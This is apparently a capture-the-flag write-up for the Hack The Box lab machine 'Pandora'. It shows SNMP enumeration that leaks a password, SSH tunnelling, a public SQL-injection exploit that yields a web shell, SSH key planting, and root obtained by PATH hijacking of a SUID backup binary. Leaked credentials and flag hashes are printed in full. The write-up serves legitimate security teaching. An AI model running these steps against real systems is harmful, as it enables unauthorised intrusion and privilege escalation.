Summary

By enumerating the exposed SNMP service, we acquire a list of all running processes on the target, including a call with clear text credentials for a user account, granting us a foothold. Over local enumeration, we discover another web application on the localhost, which we can exploit with a public exploit, allowing us to pivot to another account. Since this user can execute a binary with a set SUID bit, which suffers from a path injection vulnerability, we inject a shell script, with which we obtain shell access to root.

Solution

Reconnaissance

As always, we start with an Nmap scan, which discloses two open ports.

nmap -sC -sV 10.10.11.136 -p- -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-22 15:55 CEST
Nmap scan report for 10.10.11.136
Host is up (0.068s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA)
|   256 b1:41:77:99:46:9a:6c:5d:d2:98:2f:c0:32:9a:ce:03 (ECDSA)
|_  256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Play | Landing
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Since there is a web service, we should check it out. On it, we are presented with a product page for a service called play.

To my surprise, this page is not actually interactive, and we can’t find any subdomains or subdirectories, meaning we have nothing to work with. It’s likely that we missed something. Since we only ran a quick TCP scan with Nmap, we should check for any UDP services, even though this will take some time.

nmap -sU 10.10.11.136 1000 -oN nmap.txt 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-22 15:58 CEST
Nmap scan report for 10.10.11.136
Host is up (0.075s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT    STATE SERVICE
161/udp open  snmp

This scan reveals an SNMP service on port 161, which poses as another attack surface, which we can enumerate with a tool, such as SNMP-check.

snmp-check 10.10.11.136
<cut>
[*] Processes:
<cut>
1096                  runnable              host_check            /usr/bin/host_check   -u daniel -p HotelBabylon23
<cut>

The output is excessively verbose, as we get access to a bunch of information, including running processes on the target machine. One of these commands’ call to host_check was made with clear text credentials the user daniel with the password HotelBabylon23.

User Flag

Using these credentials, we can SSH into the target as daniel granting us a foothold on the machine. Sadly, this account is heavily restricted and does not provide us with any unusual privileges. Nevertheless, we can still enumerate the system. For one, the /home directory contains another folder for the user matt, which is likely the user we want to pivot to. Also, the web application we encountered doesn’t seem to be the only one on the target, as there is another folder in the corresponding directory to which we don’t have write access.

daniel@pandora:/var/www$ ls -la
total 16
drwxr-xr-x  4 root root 4096 Dec  7  2021 .
drwxr-xr-x 14 root root 4096 Dec  7  2021 ..
drwxr-xr-x  3 root root 4096 Dec  7  2021 html
drwxr-xr-x  3 matt matt 4096 Dec  7  2021 pandora

Now, how do we access this web application, as we didn’t discover it previously. It likely that this application runs exclusively on the localhost. We can check this in multiple ways, however, a look at the /etc/hosts file reveals another subdomain.

cat /etc/hosts
127.0.0.1 localhost.localdomain pandora.htb pandora.pandora.htb
127.0.1.1 pandora

From our attacking machine, pandora.pandora.htb does not return a result, which is why we should instead forward the web application on port 80 to our attacking machine.

ssh daniel@10.10.11.136 -L 80:localhost:80

Now we can visit the hidden application in our browser by visiting localhost:80.

Since this page contains a login form, we can try to reuse credentials, however this doesn’t yield any results. For daniel’s username and password, we get the response that we can only access the application over the API.

While the login feature won’t get us anywhere, the page’s footer reveals the service’s version to be v7.0NG.742_FIX_PERL2020. Research tells us that we are quite a few public vulnerabilities for this version. However, those relating to CVE-2020-5844 won’t work for us, as they require authenticated access to this service, which we can’t provide at this point. Luckily, there is another exploit, which leverages an SQL injectable endpoint at /include/chart_generator.php?session_id, over which we can pop a shell as matt, as whom we can claim the user flag.

python3 sqlpwn.py -t localhost
URL:  http://localhost/pandora_console
[+] Sending Injection Payload
[+] Requesting Session
[+] Admin Session Cookie : oafnvhkknllaf63dbhm16ogdq3
[+] Sending Payload 
[+] Respose : 200
[+] Pwned :)
[+] If you want manual Control : http://localhost/pandora_console/images/pwn.php?test=
CMD > whoami
matt

c2ce6ddf8bec69b01d62f2949f929e8b

Root Flag

The home directory of matt does not contain anything of value for escalating our privileges to root. However, the search after set SUID bits does yield a result.

find / -perm -u=s -type f 2>/dev/null
<cut>
/usr/bin/pandora_backup
<cut>

Besides the expected binaries, /usr/bin/pandora_backup is definitely some sort of custom binary made for this box. Let’s try to sneak a peak at what this binary does, so we might be able to exploit is. Usually, we could dump the binary’s strings, however this box doesn’t come with this feature. Instead, we need to rely on cat, and try to manually extract the relevant text.

cat /usr/bin/pandora_backup
<cut>
PandoraFMS Backup UtilityNow attempting to backup PandoraFMS client

tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/*

Backup failed!
Check your permissions!Backup successful!Terminating program!<cut>

Based on this output, it seems like pandora_backup creates a backup of the web application by invoking tar. However, the binary doesn’t specify tar over an absolute path and instead relies on the $PATH environment variable, which we are able to control. This poses as an ideal opportunity for a path injection. However, before we do this, we need to take a look at something else, which happens when we try to execute the binary.

/usr/bin/pandora_backup
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
/root/.backup/pandora-backup.tar.gz
/var/www/pandora/pandora_console/AUTHORS: /root/.backup/pandora-backup.tar.gz: Permission denied
Backup failed!
Check your permissions!

In contrast to the expected, there seems to be some issue regarding our permissions, even though we have the required permission due to the SUID bit. This is likely due to some conflict with our very limited shell. To resolve this, we can simply create a .ssh directory for the matt user, in which we can drop our own SSH key. Using this, we can switch to a regular shell on the target. In the following, I created an SSH key on my attacking machine.

ssh-keygen          
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/kali/.ssh/id_ed25519): ./key
Enter passphrase for "./key" (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./key
Your public key has been saved in ./key.pub
The key fingerprint is:
SHA256:R0Fpr1jSHGFmnfWUZXMSODn0XgieSw/JVZS6Xr5IVB8 kali@kali

pyhton3 -m http.server 5000

Now, we only need to retrieve the public key and save it accordingly on the target.

wget http://10.10.16.5:5000/key.pub
mv key.pub authorized_keys

Now, let’s log in over SSH and execute the binary in question.

ssh matt@10.10.11.136 -i key

/usr/bin/pandora_backup
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
<cut>
Backup successful!
Terminating program!

Great, now everything works, and we can continue with the path injection. For this, we first need to create a payload, which should be executed instead of the intended tar binary. Usually I would just try to create a copy of /bin/bash for this purpose. However, this won’t work in this case, as the provided parameters of the command call would create an error, resulting in termination of the process. Instead, we can just create a simple shell script, which will ignore the provided parameters and call bash.

#!/bin/bash

bash

Let’s save this script as tar in the /tmp directory, or any other to which we have write access. Now, we only need to prepend this directory to the path environment variable.

export PATH=/tmp:$PATH

At this point, any call of tar from matt will trigger our malicious shell script instead of the intended binary, including the call from pandora_backup, which will happen as root due to the set SUID bit. After invoking it, we get a shell as root, with which we can claim the root flag.

matt@pandora:~$ /usr/bin/pandora_backup
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
root@pandora:~# whoami
root

e7f93355b1c0013790b0920b226d61ef